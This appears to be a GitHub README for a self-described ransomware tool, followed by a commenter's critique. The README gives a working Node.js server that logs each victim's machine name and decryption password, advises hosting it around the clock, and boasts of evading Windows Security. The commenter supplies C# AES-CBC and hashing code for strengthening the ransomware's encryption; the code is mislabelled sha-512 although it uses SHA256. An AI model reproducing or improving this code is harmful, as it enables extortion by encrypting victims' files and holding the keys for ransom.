REVENGE RANSOMEWARE

a vigenere encrypt ransomeware created by me :p, for education purpose. MAKE SURE TO STAR THE REPOSITORY :)

Used Algorithm

Vigenere (which is strong algorithm)

DISCLAIMER

i didnt try this fully, so try it on virtual machine to make sure it works perfectly, If you encounter any problems tell me in issues also i created this only for education purposes, also windows security wont detect this ransomeware :)

Express Node.js Server (To Get The Password For Decrypt) Example:

const express = require("express");
const bodyParser = require("body-parser");
const fs = require("fs");
const app = express();

app.use(express.static(__dirname + "/public"));
app.use(bodyParser.json())
//url.com/new
app.post('/new', (req, res) => {
  var pcname = req.body.user;
  var password = req.body.pass;

  var createStream = fs.createWriteStream(`public/${pcname}.txt`);
  createStream.end();
  
  fs.writeFile(`./public/${pcname}.txt`, `password=${password}`, (err) => {
    if(err) return console.log(err);
    console.log("New Victim !")
  });
  res.send("done")
})

const listener = app.listen(3000, () => {
  console.log("Your app is listening on port 3000");
});

You can use glitch.com or repl.it to create projects to get the decrypt password, if you want fresh project click here for fresh glitch.com project or here for repl.it project, but make sure to make the project 24/7 by using service like uptimerobot.

Detection

15/72 Virustotal Scan Result

Change Log:

Now includes the decryption software :)

Now supports encrypting folders .

Completly insecure, no offence

you're 'encryption algorhythem can easly be broken if someone finds the source code to this, all it does is shift the text inside of the file, if you want to be secure, when generating a key use sha-512

Here is my function for sha-512 you need to pass it the text and a salt
public static string hash(string inp,string salt) { SHA256 s = SHA256.Create();//creatae new sha256 byte[] hashit = Encoding.UTF8.GetBytes(inp + salt + pepper) ;//convert to bytes and add salt+pepper string hashed = Convert.ToBase64String(s.ComputeHash(hashit));//HASHHHH return hashed; }

When encrypting and Decryption you also make it dificult on your self while making it insecure, You should be sending the key, initlization vector and teh salt to the webserver, and encrypting files with AES-256 CBC here is the function i use for that aswell
Decryption is pretty straight forward just reverse that lol.
` public static byte[] encryptdata(byte[] bytearraytoencrypt, string key, string iv)//make it byte just in case we need to encrypt a file 🤷
{
try
{

            using (var dataencrypt = new AesCryptoServiceProvider())
            { //Block size : Gets or sets the block size, in bits, of the cryptographic operation.  
                dataencrypt.BlockSize = 128;
                //KeySize: Gets or sets the size, in bits, of the secret key  
                dataencrypt.KeySize = 128;
                //Key: Gets or sets the symmetric key that is used for encryption and decryption.  
                dataencrypt.Key = System.Text.Encoding.UTF8.GetBytes(key);
                //IV : Gets or sets the initialization vector (IV) for the symmetric algorithm  
                dataencrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv);
                //Padding: Gets or sets the padding mode used in the symmetric algorithm  
                dataencrypt.Padding = PaddingMode.PKCS7;
                //Mode: Gets or sets the mode for operation of the symmetric algorithm  
                dataencrypt.Mode = CipherMode.CBC;
                //Creates a symmetric AES encryptor object using the current key and initialization vector (IV).  
                ICryptoTransform crypto1 = dataencrypt.CreateEncryptor(dataencrypt.Key, dataencrypt.IV);
                //TransformFinalBlock is a special function for transforming the last block or a partial block in the stream.   
                //It returns a new array that contains the remaining transformed bytes. A new array is returned, because the amount of   
                //information returned at the end might be larger than a single block when padding is added.  
                byte[] encrypteddata = crypto1.TransformFinalBlock(bytearraytoencrypt, 0, bytearraytoencrypt.Length);
                crypto1.Dispose();
                //return the encrypted data  
                return encrypteddata;

            }
        }
        catch (Exception)
        {

            throw;
        }
    }`

Anyways, not trying to be offencing just giving constructive critisisim.

revenge977 / revenge-ransomeware Goto Github PK